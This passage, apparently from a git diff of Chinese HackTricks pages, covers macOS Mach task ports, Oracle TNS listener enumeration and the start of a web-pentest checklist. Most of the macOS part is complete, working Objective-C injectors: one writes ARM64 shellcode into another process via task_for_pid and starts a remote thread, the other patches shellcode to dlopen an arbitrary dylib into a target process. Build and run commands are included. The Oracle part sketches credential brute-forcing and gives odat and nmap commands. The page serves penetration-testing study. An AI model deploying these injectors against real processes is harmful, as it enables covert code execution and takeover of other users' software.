- 调用 `mach_task_self()` 来**获取**调用者任务的端口名称。此端口仅在**`exec()`**中**继承**;通过 `fork()` 创建的新任务会获得一个新的任务端口(作为特例,任务在suid二进制文件的`exec()`后也会获得一个新的任务端口)。生成任务并获取其端口的唯一方法是在执行 `fork()` 时进行["端口交换舞"](https://robert.sesek.com/2014/1/changes_to_xnu_mach_ipc.html)。
|
||||
- 访问端口的限制如下(来自二进制文件 `AppleMobileFileIntegrity` 的 `macos_task_policy`):
|
||||
- 如果应用具有**`com.apple.security.get-task-allow` 权限**,则来自**同一用户的进程可以访问任务端口**(通常由Xcode在调试时添加)。**公证**过程不允许其用于生产版本。
|
||||
- 具有**`com.apple.system-task-ports`** 权限的应用可以获取**任何**进程的**任务端口**,除了内核。在旧版本中称为**`task_for_pid-allow`**。这仅授予Apple应用。
|
||||
- **Root可以访问未使用** **加固** 运行时编译的应用程序的任务端口(并且不是来自Apple)。
|
||||
|
||||
### 通过任务端口在线程中注入Shellcode
|
||||
|
||||
您可以从以下位置获取Shellcode:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
../../macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md
|
||||
{{#endref}}
|
||||
|
||||
{{#tabs}}
|
||||
{{#tab name="mysleep.m"}}
|
||||
```objectivec
|
||||
// clang -framework Foundation mysleep.m -o mysleep
|
||||
// codesign --entitlements entitlements.plist -s - mysleep
|
||||
|
||||
#import <Foundation/Foundation.h>
|
||||
|
||||
double performMathOperations() {
|
||||
double result = 0;
|
||||
for (int i = 0; i < 10000; i++) {
|
||||
result += sqrt(i) * tan(i) - cos(i);
|
||||
}
|
||||
return result;
|
||||
}
|
||||
|
||||
int main(int argc, const char * argv[]) {
|
||||
@autoreleasepool {
|
||||
NSLog(@"Process ID: %d", [[NSProcessInfo processInfo]
|
||||
processIdentifier]);
|
||||
while (true) {
|
||||
[NSThread sleepForTimeInterval:5];
|
||||
|
||||
performMathOperations(); // Silent action
|
||||
|
||||
[NSThread sleepForTimeInterval:5];
|
||||
}
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
{{#endtab}}
|
||||
|
||||
{{#tab name="entitlements.plist"}}
|
||||
```xml
|
||||
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
||||
<plist version="1.0">
|
||||
<dict>
|
||||
<key>com.apple.security.get-task-allow</key>
|
||||
<true/>
|
||||
</dict>
|
||||
</plist>
|
||||
```
|
||||
{{#endtab}}
|
||||
{{#endtabs}}
|
||||
|
||||
**编译**之前的程序并添加**权限**以便能够以相同用户注入代码(如果不这样做,您将需要使用**sudo**)。
|
||||
|
||||
<details>
|
||||
|
||||
<summary>sc_injector.m</summary>
|
||||
```objectivec
|
||||
// gcc -framework Foundation -framework Appkit sc_injector.m -o sc_injector
|
||||
|
||||
#import <Foundation/Foundation.h>
|
||||
#import <AppKit/AppKit.h>
|
||||
#include <mach/mach_vm.h>
|
||||
#include <sys/sysctl.h>
|
||||
|
||||
|
||||
#ifdef __arm64__
|
||||
|
||||
kern_return_t mach_vm_allocate
|
||||
(
|
||||
vm_map_t target,
|
||||
mach_vm_address_t *address,
|
||||
mach_vm_size_t size,
|
||||
int flags
|
||||
);
|
||||
|
||||
kern_return_t mach_vm_write
|
||||
(
|
||||
vm_map_t target_task,
|
||||
mach_vm_address_t address,
|
||||
vm_offset_t data,
|
||||
mach_msg_type_number_t dataCnt
|
||||
);
|
||||
|
||||
|
||||
#else
|
||||
#include <mach/mach_vm.h>
|
||||
#endif
|
||||
|
||||
|
||||
#define STACK_SIZE 65536
|
||||
#define CODE_SIZE 128
|
||||
|
||||
// ARM64 shellcode that executes touch /tmp/lalala
|
||||
char injectedCode[] = "\xff\x03\x01\xd1\xe1\x03\x00\x91\x60\x01\x00\x10\x20\x00\x00\xf9\x60\x01\x00\x10\x20\x04\x00\xf9\x40\x01\x00\x10\x20\x08\x00\xf9\x3f\x0c\x00\xf9\x80\x00\x00\x10\xe2\x03\x1f\xaa\x70\x07\x80\xd2\x01\x00\x00\xd4\x2f\x62\x69\x6e\x2f\x73\x68\x00\x2d\x63\x00\x00\x74\x6f\x75\x63\x68\x20\x2f\x74\x6d\x70\x2f\x6c\x61\x6c\x61\x6c\x61\x00";
|
||||
|
||||
|
||||
int inject(pid_t pid){
|
||||
|
||||
task_t remoteTask;
|
||||
|
||||
// Get access to the task port of the process we want to inject into
|
||||
kern_return_t kr = task_for_pid(mach_task_self(), pid, &remoteTask);
|
||||
if (kr != KERN_SUCCESS) {
|
||||
fprintf (stderr, "Unable to call task_for_pid on pid %d: %d. Cannot continue!\n",pid, kr);
|
||||
return (-1);
|
||||
}
|
||||
else{
|
||||
printf("Gathered privileges over the task port of process: %d\n", pid);
|
||||
}
|
||||
|
||||
// Allocate memory for the stack
|
||||
mach_vm_address_t remoteStack64 = (vm_address_t) NULL;
|
||||
mach_vm_address_t remoteCode64 = (vm_address_t) NULL;
|
||||
kr = mach_vm_allocate(remoteTask, &remoteStack64, STACK_SIZE, VM_FLAGS_ANYWHERE);
|
||||
|
||||
if (kr != KERN_SUCCESS)
|
||||
{
|
||||
fprintf(stderr,"Unable to allocate memory for remote stack in thread: Error %s\n", mach_error_string(kr));
|
||||
return (-2);
|
||||
}
|
||||
else
|
||||
{
|
||||
|
||||
fprintf (stderr, "Allocated remote stack @0x%llx\n", remoteStack64);
|
||||
}
|
||||
|
||||
// Allocate memory for the code
|
||||
remoteCode64 = (vm_address_t) NULL;
|
||||
kr = mach_vm_allocate( remoteTask, &remoteCode64, CODE_SIZE, VM_FLAGS_ANYWHERE );
|
||||
|
||||
if (kr != KERN_SUCCESS)
|
||||
{
|
||||
fprintf(stderr,"Unable to allocate memory for remote code in thread: Error %s\n", mach_error_string(kr));
|
||||
return (-2);
|
||||
}
|
||||
|
||||
|
||||
// Write the shellcode to the allocated memory
|
||||
kr = mach_vm_write(remoteTask, // Task port
|
||||
remoteCode64, // Virtual Address (Destination)
|
||||
(vm_address_t) injectedCode, // Source
|
||||
0xa9); // Length of the source
|
||||
|
||||
|
||||
if (kr != KERN_SUCCESS)
|
||||
{
|
||||
fprintf(stderr,"Unable to write remote thread memory: Error %s\n", mach_error_string(kr));
|
||||
return (-3);
|
||||
}
|
||||
|
||||
|
||||
// Set the permissions on the allocated code memory
|
||||
kr = vm_protect(remoteTask, remoteCode64, 0x70, FALSE, VM_PROT_READ | VM_PROT_EXECUTE);
|
||||
|
||||
if (kr != KERN_SUCCESS)
|
||||
{
|
||||
fprintf(stderr,"Unable to set memory permissions for remote thread's code: Error %s\n", mach_error_string(kr));
|
||||
return (-4);
|
||||
}
|
||||
|
||||
// Set the permissions on the allocated stack memory
|
||||
kr = vm_protect(remoteTask, remoteStack64, STACK_SIZE, TRUE, VM_PROT_READ | VM_PROT_WRITE);
|
||||
|
||||
if (kr != KERN_SUCCESS)
|
||||
{
|
||||
fprintf(stderr,"Unable to set memory permissions for remote thread's stack: Error %s\n", mach_error_string(kr));
|
||||
return (-4);
|
||||
}
|
||||
|
||||
// Create thread to run shellcode
|
||||
struct arm_unified_thread_state remoteThreadState64;
|
||||
thread_act_t remoteThread;
|
||||
|
||||
memset(&remoteThreadState64, '\0', sizeof(remoteThreadState64) );
|
||||
|
||||
remoteStack64 += (STACK_SIZE / 2); // this is the real stack
|
||||
//remoteStack64 -= 8; // need alignment of 16
|
||||
|
||||
const char* p = (const char*) remoteCode64;
|
||||
|
||||
remoteThreadState64.ash.flavor = ARM_THREAD_STATE64;
|
||||
remoteThreadState64.ash.count = ARM_THREAD_STATE64_COUNT;
|
||||
remoteThreadState64.ts_64.__pc = (u_int64_t) remoteCode64;
|
||||
remoteThreadState64.ts_64.__sp = (u_int64_t) remoteStack64;
|
||||
|
||||
printf ("Remote Stack 64 0x%llx, Remote code is %p\n", remoteStack64, p );
|
||||
|
||||
kr = thread_create_running(remoteTask, ARM_THREAD_STATE64, // ARM_THREAD_STATE64,
|
||||
(thread_state_t) &remoteThreadState64.ts_64, ARM_THREAD_STATE64_COUNT , &remoteThread );
|
||||
|
||||
if (kr != KERN_SUCCESS) {
|
||||
fprintf(stderr,"Unable to create remote thread: error %s", mach_error_string (kr));
|
||||
return (-3);
|
||||
}
|
||||
|
||||
return (0);
|
||||
}
|
||||
|
||||
pid_t pidForProcessName(NSString *processName) {
|
||||
NSArray *arguments = @[@"pgrep", processName];
|
||||
NSTask *task = [[NSTask alloc] init];
|
||||
[task setLaunchPath:@"/usr/bin/env"];
|
||||
[task setArguments:arguments];
|
||||
|
||||
NSPipe *pipe = [NSPipe pipe];
|
||||
[task setStandardOutput:pipe];
|
||||
|
||||
NSFileHandle *file = [pipe fileHandleForReading];
|
||||
|
||||
[task launch];
|
||||
|
||||
NSData *data = [file readDataToEndOfFile];
|
||||
NSString *string = [[NSString alloc] initWithData:data encoding:NSUTF8StringEncoding];
|
||||
|
||||
return (pid_t)[string integerValue];
|
||||
}
|
||||
|
||||
BOOL isStringNumeric(NSString *str) {
|
||||
NSCharacterSet* nonNumbers = [[NSCharacterSet decimalDigitCharacterSet] invertedSet];
|
||||
NSRange r = [str rangeOfCharacterFromSet: nonNumbers];
|
||||
return r.location == NSNotFound;
|
||||
}
|
||||
|
||||
int main(int argc, const char * argv[]) {
|
||||
@autoreleasepool {
|
||||
if (argc < 2) {
|
||||
NSLog(@"Usage: %s <pid or process name>", argv[0]);
|
||||
return 1;
|
||||
}
|
||||
|
||||
NSString *arg = [NSString stringWithUTF8String:argv[1]];
|
||||
pid_t pid;
|
||||
|
||||
if (isStringNumeric(arg)) {
|
||||
pid = [arg intValue];
|
||||
} else {
|
||||
pid = pidForProcessName(arg);
|
||||
if (pid == 0) {
|
||||
NSLog(@"Error: Process named '%@' not found.", arg);
|
||||
return 1;
|
||||
}
|
||||
else{
|
||||
printf("Found PID of process '%s': %d\n", [arg UTF8String], pid);
|
||||
}
|
||||
}
|
||||
|
||||
inject(pid);
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
</details>
|
||||
```bash
|
||||
gcc -framework Foundation -framework Appkit sc_inject.m -o sc_inject
|
||||
./inject <pi or string>
|
||||
```
|
||||
### 通过任务端口在线程中注入Dylib
|
||||
|
||||
在macOS中,**线程**可以通过**Mach**或使用**posix `pthread` api**进行操作。我们在之前的注入中生成的线程是使用Mach api生成的,因此**它不符合posix标准**。
|
||||
|
||||
能够**注入一个简单的shellcode**来执行命令是因为它**不需要与posix**兼容的api,只需与Mach兼容。**更复杂的注入**将需要**线程**也**符合posix标准**。
|
||||
|
||||
因此,为了**改进线程**,它应该调用**`pthread_create_from_mach_thread`**,这将**创建一个有效的pthread**。然后,这个新的pthread可以**调用dlopen**来**从系统加载一个dylib**,因此不需要编写新的shellcode来执行不同的操作,而是可以加载自定义库。
|
||||
|
||||
您可以在以下位置找到**示例dylibs**(例如,生成日志的那个,然后您可以监听它):
|
||||
|
||||
{{#ref}}
|
||||
../../macos-dyld-hijacking-and-dyld_insert_libraries.md
|
||||
{{#endref}}
|
||||
|
||||
<details>
|
||||
|
||||
<summary>dylib_injector.m</summary>
|
||||
```objectivec
|
||||
// gcc -framework Foundation -framework Appkit dylib_injector.m -o dylib_injector
|
||||
// Based on http://newosxbook.com/src.jl?tree=listings&file=inject.c
|
||||
#include <dlfcn.h>
|
||||
#include <stdio.h>
|
||||
#include <unistd.h>
|
||||
#include <sys/types.h>
|
||||
#include <mach/mach.h>
|
||||
#include <mach/error.h>
|
||||
#include <errno.h>
|
||||
#include <stdlib.h>
|
||||
#include <sys/sysctl.h>
|
||||
#include <sys/mman.h>
|
||||
|
||||
#include <sys/stat.h>
|
||||
#include <pthread.h>
|
||||
|
||||
|
||||
#ifdef __arm64__
|
||||
//#include "mach/arm/thread_status.h"
|
||||
|
||||
// Apple says: mach/mach_vm.h:1:2: error: mach_vm.h unsupported
|
||||
// And I say, bullshit.
|
||||
kern_return_t mach_vm_allocate
|
||||
(
|
||||
vm_map_t target,
|
||||
mach_vm_address_t *address,
|
||||
mach_vm_size_t size,
|
||||
int flags
|
||||
);
|
||||
|
||||
kern_return_t mach_vm_write
|
||||
(
|
||||
vm_map_t target_task,
|
||||
mach_vm_address_t address,
|
||||
vm_offset_t data,
|
||||
mach_msg_type_number_t dataCnt
|
||||
);
|
||||
|
||||
|
||||
#else
|
||||
#include <mach/mach_vm.h>
|
||||
#endif
|
||||
|
||||
|
||||
#define STACK_SIZE 65536
|
||||
#define CODE_SIZE 128
|
||||
|
||||
|
||||
char injectedCode[] =
|
||||
|
||||
// "\x00\x00\x20\xd4" // BRK X0 ; // useful if you need a break :)
|
||||
|
||||
// Call pthread_set_self
|
||||
|
||||
"\xff\x83\x00\xd1" // SUB SP, SP, #0x20 ; Allocate 32 bytes of space on the stack for local variables
|
||||
"\xFD\x7B\x01\xA9" // STP X29, X30, [SP, #0x10] ; Save frame pointer and link register on the stack
|
||||
"\xFD\x43\x00\x91" // ADD X29, SP, #0x10 ; Set frame pointer to current stack pointer
|
||||
"\xff\x43\x00\xd1" // SUB SP, SP, #0x10 ; Space for the
|
||||
"\xE0\x03\x00\x91" // MOV X0, SP ; (arg0)Store in the stack the thread struct
|
||||
"\x01\x00\x80\xd2" // MOVZ X1, 0 ; X1 (arg1) = 0;
|
||||
"\xA2\x00\x00\x10" // ADR X2, 0x14 ; (arg2)12bytes from here, Address where the new thread should start
|
||||
"\x03\x00\x80\xd2" // MOVZ X3, 0 ; X3 (arg3) = 0;
|
||||
"\x68\x01\x00\x58" // LDR X8, #44 ; load address of PTHRDCRT (pthread_create_from_mach_thread)
|
||||
"\x00\x01\x3f\xd6" // BLR X8 ; call pthread_create_from_mach_thread
|
||||
"\x00\x00\x00\x14" // loop: b loop ; loop forever
|
||||
|
||||
// Call dlopen with the path to the library
|
||||
"\xC0\x01\x00\x10" // ADR X0, #56 ; X0 => "LIBLIBLIB...";
|
||||
"\x68\x01\x00\x58" // LDR X8, #44 ; load DLOPEN
|
||||
"\x01\x00\x80\xd2" // MOVZ X1, 0 ; X1 = 0;
|
||||
"\x29\x01\x00\x91" // ADD x9, x9, 0 - I left this as a nop
|
||||
"\x00\x01\x3f\xd6" // BLR X8 ; do dlopen()
|
||||
|
||||
// Call pthread_exit
|
||||
"\xA8\x00\x00\x58" // LDR X8, #20 ; load PTHREADEXT
|
||||
"\x00\x00\x80\xd2" // MOVZ X0, 0 ; X1 = 0;
|
||||
"\x00\x01\x3f\xd6" // BLR X8 ; do pthread_exit
|
||||
|
||||
"PTHRDCRT" // <-
|
||||
"PTHRDEXT" // <-
|
||||
"DLOPEN__" // <-
|
||||
"LIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIB"
|
||||
"\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00"
|
||||
"\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00"
|
||||
"\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00"
|
||||
"\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00"
|
||||
"\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" ;
|
||||
|
||||
|
||||
|
||||
|
||||
int inject(pid_t pid, const char *lib) {
|
||||
|
||||
task_t remoteTask;
|
||||
struct stat buf;
|
||||
|
||||
// Check if the library exists
|
||||
int rc = stat (lib, &buf);
|
||||
|
||||
if (rc != 0)
|
||||
{
|
||||
fprintf (stderr, "Unable to open library file %s (%s) - Cannot inject\n", lib,strerror (errno));
|
||||
//return (-9);
|
||||
}
|
||||
|
||||
// Get access to the task port of the process we want to inject into
|
||||
kern_return_t kr = task_for_pid(mach_task_self(), pid, &remoteTask);
|
||||
if (kr != KERN_SUCCESS) {
|
||||
fprintf (stderr, "Unable to call task_for_pid on pid %d: %d. Cannot continue!\n",pid, kr);
|
||||
return (-1);
|
||||
}
|
||||
else{
|
||||
printf("Gathered privileges over the task port of process: %d\n", pid);
|
||||
}
|
||||
|
||||
// Allocate memory for the stack
|
||||
mach_vm_address_t remoteStack64 = (vm_address_t) NULL;
|
||||
mach_vm_address_t remoteCode64 = (vm_address_t) NULL;
|
||||
kr = mach_vm_allocate(remoteTask, &remoteStack64, STACK_SIZE, VM_FLAGS_ANYWHERE);
|
||||
|
||||
if (kr != KERN_SUCCESS)
|
||||
{
|
||||
fprintf(stderr,"Unable to allocate memory for remote stack in thread: Error %s\n", mach_error_string(kr));
|
||||
return (-2);
|
||||
}
|
||||
else
|
||||
{
|
||||
|
||||
fprintf (stderr, "Allocated remote stack @0x%llx\n", remoteStack64);
|
||||
}
|
||||
|
||||
// Allocate memory for the code
|
||||
remoteCode64 = (vm_address_t) NULL;
|
||||
kr = mach_vm_allocate( remoteTask, &remoteCode64, CODE_SIZE, VM_FLAGS_ANYWHERE );
|
||||
|
||||
if (kr != KERN_SUCCESS)
|
||||
{
|
||||
fprintf(stderr,"Unable to allocate memory for remote code in thread: Error %s\n", mach_error_string(kr));
|
||||
return (-2);
|
||||
}
|
||||
|
||||
|
||||
// Patch shellcode
|
||||
|
||||
int i = 0;
|
||||
char *possiblePatchLocation = (injectedCode );
|
||||
for (i = 0 ; i < 0x100; i++)
|
||||
{
|
||||
|
||||
// Patching is crude, but works.
|
||||
//
|
||||
extern void *_pthread_set_self;
|
||||
possiblePatchLocation++;
|
||||
|
||||
|
||||
uint64_t addrOfPthreadCreate = dlsym ( RTLD_DEFAULT, "pthread_create_from_mach_thread"); //(uint64_t) pthread_create_from_mach_thread;
|
||||
uint64_t addrOfPthreadExit = dlsym (RTLD_DEFAULT, "pthread_exit"); //(uint64_t) pthread_exit;
|
||||
uint64_t addrOfDlopen = (uint64_t) dlopen;
|
||||
|
||||
if (memcmp (possiblePatchLocation, "PTHRDEXT", 8) == 0)
|
||||
{
|
||||
memcpy(possiblePatchLocation, &addrOfPthreadExit,8);
|
||||
printf ("Pthread exit @%llx, %llx\n", addrOfPthreadExit, pthread_exit);
|
||||
}
|
||||
|
||||
if (memcmp (possiblePatchLocation, "PTHRDCRT", 8) == 0)
|
||||
{
|
||||
memcpy(possiblePatchLocation, &addrOfPthreadCreate,8);
|
||||
printf ("Pthread create from mach thread @%llx\n", addrOfPthreadCreate);
|
||||
}
|
||||
|
||||
if (memcmp(possiblePatchLocation, "DLOPEN__", 6) == 0)
|
||||
{
|
||||
printf ("DLOpen @%llx\n", addrOfDlopen);
|
||||
memcpy(possiblePatchLocation, &addrOfDlopen, sizeof(uint64_t));
|
||||
}
|
||||
|
||||
if (memcmp(possiblePatchLocation, "LIBLIBLIB", 9) == 0)
|
||||
{
|
||||
strcpy(possiblePatchLocation, lib );
|
||||
}
|
||||
}
|
||||
|
||||
// Write the shellcode to the allocated memory
|
||||
kr = mach_vm_write(remoteTask, // Task port
|
||||
remoteCode64, // Virtual Address (Destination)
|
||||
(vm_address_t) injectedCode, // Source
|
||||
0xa9); // Length of the source
|
||||
|
||||
|
||||
if (kr != KERN_SUCCESS)
|
||||
{
|
||||
fprintf(stderr,"Unable to write remote thread memory: Error %s\n", mach_error_string(kr));
|
||||
return (-3);
|
||||
}
|
||||
|
||||
|
||||
// Set the permissions on the allocated code memory
|
||||
kr = vm_protect(remoteTask, remoteCode64, 0x70, FALSE, VM_PROT_READ | VM_PROT_EXECUTE);
|
||||
|
||||
if (kr != KERN_SUCCESS)
|
||||
{
|
||||
fprintf(stderr,"Unable to set memory permissions for remote thread's code: Error %s\n", mach_error_string(kr));
|
||||
return (-4);
|
||||
}
|
||||
|
||||
// Set the permissions on the allocated stack memory
|
||||
kr = vm_protect(remoteTask, remoteStack64, STACK_SIZE, TRUE, VM_PROT_READ | VM_PROT_WRITE);
|
||||
|
||||
if (kr != KERN_SUCCESS)
|
||||
{
|
||||
fprintf(stderr,"Unable to set memory permissions for remote thread's stack: Error %s\n", mach_error_string(kr));
|
||||
return (-4);
|
||||
}
|
||||
|
||||
|
||||
// Create thread to run shellcode
|
||||
struct arm_unified_thread_state remoteThreadState64;
|
||||
thread_act_t remoteThread;
|
||||
|
||||
memset(&remoteThreadState64, '\0', sizeof(remoteThreadState64) );
|
||||
|
||||
remoteStack64 += (STACK_SIZE / 2); // this is the real stack
|
||||
//remoteStack64 -= 8; // need alignment of 16
|
||||
|
||||
const char* p = (const char*) remoteCode64;
|
||||
|
||||
remoteThreadState64.ash.flavor = ARM_THREAD_STATE64;
|
||||
remoteThreadState64.ash.count = ARM_THREAD_STATE64_COUNT;
|
||||
remoteThreadState64.ts_64.__pc = (u_int64_t) remoteCode64;
|
||||
remoteThreadState64.ts_64.__sp = (u_int64_t) remoteStack64;
|
||||
|
||||
printf ("Remote Stack 64 0x%llx, Remote code is %p\n", remoteStack64, p );
|
||||
|
||||
kr = thread_create_running(remoteTask, ARM_THREAD_STATE64, // ARM_THREAD_STATE64,
|
||||
(thread_state_t) &remoteThreadState64.ts_64, ARM_THREAD_STATE64_COUNT , &remoteThread );
|
||||
|
||||
if (kr != KERN_SUCCESS) {
|
||||
fprintf(stderr,"Unable to create remote thread: error %s", mach_error_string (kr));
|
||||
return (-3);
|
||||
}
|
||||
|
||||
return (0);
|
||||
}
|
||||
|
||||
|
||||
|
||||
int main(int argc, const char * argv[])
|
||||
{
|
||||
if (argc < 3)
|
||||
{
|
||||
fprintf (stderr, "Usage: %s _pid_ _action_\n", argv[0]);
|
||||
fprintf (stderr, " _action_: path to a dylib on disk\n");
|
||||
exit(0);
|
||||
}
|
||||
|
||||
pid_t pid = atoi(argv[1]);
|
||||
const char *action = argv[2];
|
||||
struct stat buf;
|
||||
|
||||
int rc = stat (action, &buf);
|
||||
if (rc == 0) inject(pid,action);
|
||||
else
|
||||
{
|
||||
fprintf(stderr,"Dylib not found\n");
|
||||
}
|
||||
|
||||
}
|
||||
```
|
||||
</details>
|
||||
```bash
|
||||
gcc -framework Foundation -framework Appkit dylib_injector.m -o dylib_injector
|
||||
./inject <pid-of-mysleep> </path/to/lib.dylib>
|
||||
```
|
||||
### 通过任务端口进行线程劫持 <a href="#step-1-thread-hijacking" id="step-1-thread-hijacking"></a>
|
||||
|
||||
在此技术中,进程的一个线程被劫持:
|
||||
|
||||
{{#ref}}
|
||||
../../macos-proces-abuse/macos-ipc-inter-process-communication/macos-thread-injection-via-task-port.md
|
||||
{{#endref}}
|
||||
|
||||
## XPC
|
||||
|
||||
### 基本信息
|
||||
|
||||
XPC,即 XNU(macOS 使用的内核)进程间通信,是一个用于 **macOS 和 iOS 上进程之间通信** 的框架。XPC 提供了一种机制,用于在系统上进行 **安全的异步方法调用**。它是苹果安全范式的一部分,允许 **创建特权分离的应用程序**,每个 **组件** 仅以 **执行其工作所需的权限** 运行,从而限制被攻陷进程可能造成的损害。
|
||||
|
||||
有关此 **通信如何工作** 以及 **可能存在的漏洞** 的更多信息,请查看:
|
||||
|
||||
{{#ref}}
|
||||
../../macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/
|
||||
{{#endref}}
|
||||
|
||||
## MIG - Mach 接口生成器
|
||||
|
||||
MIG 的创建旨在 **简化 Mach IPC** 代码的生成过程。它基本上 **生成所需的代码** 以便服务器和客户端根据给定定义进行通信。即使生成的代码不美观,开发人员只需导入它,其代码将比之前简单得多。
|
||||
|
||||
有关更多信息,请查看:
|
||||
|
||||
{{#ref}}
|
||||
../../macos-proces-abuse/macos-ipc-inter-process-communication/macos-mig-mach-interface-generator.md
|
||||
{{#endref}}
|
||||
|
||||
## 参考文献
|
||||
|
||||
- [https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html](https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html)
|
||||
- [https://knight.sc/malware/2019/03/15/code-injection-on-macos.html](https://knight.sc/malware/2019/03/15/code-injection-on-macos.html)
|
||||
- [https://gist.github.com/knightsc/45edfc4903a9d2fa9f5905f60b02ce5a](https://gist.github.com/knightsc/45edfc4903a9d2fa9f5905f60b02ce5a)
|
||||
- [https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/)
|
||||
- [https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@ -1,61 +0,0 @@
|
||||
# 1521,1522-1529 - Pentesting Oracle TNS Listener
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## 基本信息
|
||||
|
||||
Oracle 数据库 (Oracle DB) 是甲骨文公司 (来自 [这里](https://www.techopedia.com/definition/8711/oracle-database)) 的关系数据库管理系统 (RDBMS)。
|
||||
|
||||
在枚举 Oracle 时,第一步是与通常位于默认端口 (1521/TCP,-您也可能在 1522–1529 上获得次级监听器-) 的 TNS-Listener 进行通信。
|
||||
```
|
||||
1521/tcp open oracle-tns Oracle TNS Listener 9.2.0.1.0 (for 32-bit Windows)
|
||||
1748/tcp open oracle-tns Oracle TNS Listener
|
||||
```
|
||||
## 摘要
|
||||
|
||||
1. **版本枚举**:识别版本信息以搜索已知漏洞。
|
||||
2. **TNS 监听器暴力破解**:有时需要建立通信。
|
||||
3. **SID 名称枚举/暴力破解**:发现数据库名称(SID)。
|
||||
4. **凭证暴力破解**:尝试访问发现的 SID。
|
||||
5. **代码执行**:尝试在系统上运行代码。
|
||||
|
||||
为了使用 MSF oracle 模块,您需要安装一些依赖项:[**安装**](oracle-pentesting-requirements-installation.md)
|
||||
|
||||
## 文章
|
||||
|
||||
查看这些文章:
|
||||
|
||||
- [https://secybr.com/posts/oracle-pentesting-best-practices/](https://secybr.com/posts/oracle-pentesting-best-practices/)
|
||||
- [https://medium.com/@netscylla/pentesters-guide-to-oracle-hacking-1dcf7068d573](https://medium.com/@netscylla/pentesters-guide-to-oracle-hacking-1dcf7068d573)
|
||||
- [https://hackmag.com/uncategorized/looking-into-methods-to-penetrate-oracle-db/](https://hackmag.com/uncategorized/looking-into-methods-to-penetrate-oracle-db/)
|
||||
- [http://blog.opensecurityresearch.com/2012/03/top-10-oracle-steps-to-secure-oracle.html](http://blog.opensecurityresearch.com/2012/03/top-10-oracle-steps-to-secure-oracle.html)
|
||||
|
||||
## HackTricks 自动命令
|
||||
```
|
||||
Protocol_Name: Oracle #Protocol Abbreviation if there is one.
|
||||
Port_Number: 1521 #Comma separated if there is more than one.
|
||||
Protocol_Description: Oracle TNS Listener #Protocol Abbreviation Spelled out
|
||||
|
||||
Entry_1:
|
||||
Name: Notes
|
||||
Description: Notes for Oracle
|
||||
Note: |
|
||||
Oracle database (Oracle DB) is a relational database management system (RDBMS) from the Oracle Corporation
|
||||
|
||||
#great oracle enumeration tool
|
||||
navigate to https://github.com/quentinhardy/odat/releases/
|
||||
download the latest
|
||||
tar -xvf odat-linux-libc2.12-x86_64.tar.gz
|
||||
cd odat-libc2.12-x86_64/
|
||||
./odat-libc2.12-x86_64 all -s 10.10.10.82
|
||||
|
||||
for more details check https://github.com/quentinhardy/odat/wiki
|
||||
|
||||
https://book.hacktricks.wiki/en/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener.html
|
||||
|
||||
Entry_2:
|
||||
Name: Nmap
|
||||
Description: Nmap with Oracle Scripts
|
||||
Command: nmap --script "oracle-tns-version" -p 1521 -T4 -sV {IP}
|
||||
```
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
@ -1,129 +0,0 @@
|
||||
# Web Vulnerabilities Methodology
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
在每次 Web Pentest 中,有 **几个隐藏和明显的地方可能存在漏洞**。这篇文章旨在作为一个检查清单,以确认您已在所有可能的地方搜索漏洞。
|
||||
|
||||
## Proxies
|
||||
|
||||
> [!TIP]
|
||||
> 现在 **web** **应用程序** 通常 **使用** 某种 **中介** **代理**,这些可能被(滥)用来利用漏洞。这些漏洞需要一个脆弱的代理存在,但它们通常还需要后端的某些额外漏洞。
|
||||
|
||||
- [ ] [**Abusing hop-by-hop headers**](../abusing-hop-by-hop-headers.md)
|
||||
- [ ] [**Cache Poisoning/Cache Deception**](../cache-deception.md)
|
||||
- [ ] [**HTTP Request Smuggling**](../http-request-smuggling/index.html)
|
||||
- [ ] [**H2C Smuggling**](../h2c-smuggling.md)
|
||||
- [ ] [**Server Side Inclusion/Edge Side Inclusion**](../server-side-inclusion-edge-side-inclusion-injection.md)
|
||||
- [ ] [**Uncovering Cloudflare**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md)
|
||||
- [ ] [**XSLT Server Side Injection**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md)
|
||||
- [ ] [**Proxy / WAF Protections Bypass**](../proxy-waf-protections-bypass.md)
|
||||
|
||||
## **User input**
|
||||
|
||||
> [!TIP]
|
||||
> 大多数 web 应用程序将 **允许用户输入一些将被后续处理的数据。**\
|
||||
> 根据服务器期望的数据结构,某些漏洞可能适用或不适用。
|
||||
|
||||
### **Reflected Values**
|
||||
|
||||
如果输入的数据可能以某种方式反映在响应中,则页面可能会受到多种问题的影响。
|
||||
|
||||
- [ ] [**Client Side Template Injection**](../client-side-template-injection-csti.md)
|
||||
- [ ] [**Command Injection**](../command-injection.md)
|
||||
- [ ] [**CRLF**](../crlf-0d-0a.md)
|
||||
